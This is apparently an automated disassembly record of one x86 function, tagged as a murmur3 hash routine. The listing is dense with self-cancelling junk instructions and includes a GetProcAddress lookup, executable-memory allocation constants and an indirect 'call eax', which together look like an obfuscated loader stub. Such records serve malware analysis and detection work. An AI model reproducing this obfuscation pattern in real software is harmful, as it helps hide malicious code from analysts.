Function at 0x4229a0
Capabilities:
Hash data using murmur3

Disassembly:
xor ecx, dword [0x462c9a]
inc eax
not eax
rol esi, 0xf
sub ecx, dword [0x462b82]
ror esi, 0xf
not eax
dec eax
or dword [0x462ad0], esi
ror esi, 0x17
inc eax
call fcn.00401f79
push esp
xor esi, ecx
xchg esi, eax
add dword [0x462ab1], 0x287a300
xor esi, eax
add dword [0x4627a0], 0x1be30bdc
xor edx, dword [0x462e72]
xor ebx, edx
dec ebx
xor eax, esi
dec eax
xor edi, edx
ror esi, 0x15
xor dword [0x46288e], 0x2b103514
rol esi, 0x18
xor dword [0x4626c0], esi
xor ebx, 0x181d9d82
xor esi, dword [0x462e6f]
mov dword [0x46282a], esi
inc eax
call fcn.00409054
call fcn.00401317
dec eax
mov dword [0x462816], esi
xor ebx, 0x181d9d82
sbb byte [ebp - 0x313ee7e3], 0x18
mov dword [0x4628be], 0xaf9b4ac
rol esi, 0x15
xor edi, edx
inc eax
xor eax, esi
inc ebx
xor ebx, edx
xor esi, eax
xor dword [0x4628ec], 0xb1ec160
xchg esi, eax
xor esi, ecx
push eax
rol esi, 0x11
add esi, eax
neg edx
xor esi, 0x254bfbe3
dec eax
sub ecx, dword [0x462edc]
sub dword [0x462694], 0x4123300
add eax, 0x5f8ada6
xor ecx, dword [0x462f37]
call fcn.00403e4a
sub dword [0x4629af], ecx
xor ebx, dword [0x462cda]
sub dword [0x4626aa], 0x1a3b77ed
xor esi, eax
xor esi, 0xc3454ff
add ecx, 0x28441aa0
xor dword [0x462701], 0xa182376
neg eax
inc eax
sub dword [0x462832], ebx
ror esi, 0xe
rol esi, 0xe
mov dword [0x46279c], esi
dec eax
neg eax
sub ecx, 0x28441aa0
xor esi, 0xc3454ff
xor esi, eax
mov dword [0x462930], 0x10286210
and dword [0x462a50], ebx
sub eax, 0x5f8ada6
inc eax
xor esi, 0x254bfbe3
neg edx
sub esi, eax
ror esi, 0x11
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
inc edi
xchg ecx, eax
dec esi
mov dword [0x462882], ebx
xor edi, eax
sub ecx, dword [0x462d12]
neg eax
dec eax
add esi, eax
xor edi, 0x5a3a99c
add ebx, esi
xor dword [0x462a8d], ecx
xor esi, eax
not edx
or dword [0x46279b], ecx
neg esi
ror eax, 0x12
not esi
call fcn.00405027
sub edx, dword [0x462b7b]
call fcn.0040686a
not esi
rol eax, 0x12
neg esi
xor dword [0x46269c], ecx
not edx
xor esi, eax
mov dword [0x462906], ecx
sub ebx, esi
xor edi, 0x5a3a99c
sub esi, eax
inc eax
neg eax
xor edi, eax
mov dword [0x462b1f], ecx
inc esi
xchg ecx, eax
dec edi
add esp, 0x10
call fcn.004044d3
xor edi, eax
xor eax, ecx
sub ebx, dword [0x462e8e]
sub ecx, dword [0x462b4e]
inc edx
mov dword [0x462791], esi
xor esi, 0x1c47d896
ror eax, 5
or dword [0x4629d9], 0x61d14aa
add byte [edx + 0x4e061d14], ch
not eax
add edx, eax
rol esi, 6
or dword [0x462a4c], ecx
rol eax, 4
call fcn.00402f10
dec eax
inc eax
call fcn.00403a22
ror eax, 4
ror esi, 6
sub edx, eax
not eax
inc esi
rol eax, 5
xor esi, 0x1c47d896
or dword [0x4627d0], ecx
dec edx
xor eax, ecx
xor edi, eax
push 0x40
xor edi, dword [0x462e76]
sub edi, dword [0x462f14]
add eax, 0x2545210
xor ebx, ebp
dec eax
mov dword [0x462994], ebx
xor ebx, esp
neg eax
xor esi, eax
add ebx, edi
sub ebx, edi
xor esi, eax
neg eax
xor ebx, esp
or dword [0x462814], edx
inc eax
xor ebx, ebp
sub eax, 0x2545210
push 0x3000
add esi, dword [0x462ec7]
sub ebx, dword [0x462bf0]
dec esi
ror esi, 0x14
xor dword [0x462926], 0x7b087c0
add esi, 0x2b5a05dc
neg eax
xor esi, eax
xor eax, 0xd0db2b6
neg esi
xchg eax, eax
sub edi, dword [0x462dfa]
sub edi, dword [0x462dbb]
call fcn.00407f28
xor edx, 0x21edf4e2
xor ebx, esi
xor ebx, esi
xor edx, 0x21edf4e2
call fcn.004052a7
xchg eax, eax
neg esi
xor eax, 0xd0db2b6
xor esi, eax
neg eax
sub esi, 0x2b5a05dc
rol esi, 0x14
inc esi
push 0x791
mov dword [0x462995], edi
add ebx, esi
xor esi, 0xe6a6d06
sub dword [0x462934], ebx
ror esi, 0x13
call fcn.00403a22
sub ecx, dword [0x462f0c]
rol esi, 0x15
neg edi
add ebx, dword [0x462faa]
xor esi, esp
xor ecx, esi
sub ecx, dword [0x462bb3]
xor esi, eax
sub esi, eax
inc esi
dec esi
add esi, eax
xor esi, eax
xor ecx, esi
xor esi, esp
neg edi
ror esi, 0x15
rol esi, 0x13
sub dword [0x46280c], ebx
xor esi, 0xe6a6d06
sub ebx, esi
push 0
mov dword [0x4628b4], 0x29f6745c
sub esi, 0x1bff59a0
dec eax
rol eax, 1
xor edx, dword [0x462c44]
sub dword [0x462ad2], ecx
sub ecx, dword [0x462d1c]
dec esi
call fcn.00405a13
sub edx, esp
xchg esi, eax
xchg esi, eax
add edx, esp
inc esi
mov dword [0x4628f0], edi
lock sub byte [esi], al
ror eax, 1
inc eax
add esi, 0x1bff59a0
sub dword [0x4627b5], 0x1ce01ac5
call eax
xor edi, eax
dec edx
and dword [0x462916], 0x5a11472
sub ecx, dword [0x462cce]
neg esi
xor ebx, dword [0x462e14]
adc al, 0x2e
inc esi
add byte [ecx + 0x3527c4ef], al
push es
add dword [0x4626c8], ebx
sub ecx, edx
sub edx, dword [0x462da0]
ror eax, 2
call fcn.00402f10
sub ecx, dword [0x462b8b]
xor ebx, dword [0x462f35]
dec esi
xor edi, dword [0x462f88]
ror esi, 3
neg esi
neg esi
rol esi, 3
inc esi
call fcn.00405748
rol eax, 2
add ecx, edx
sub dword [0x462734], esi
add edi, 0x63527c4
neg esi
inc edx
xor edi, eax
call 0x422dbf
rol esi, 6
xor esi, eax
or dword [0x46292d], edx
sub ebx, dword [0x462f07]
mov dword [0x462796], 0x3134cfb6
dec ebx
invalid
xor byte [ecx], al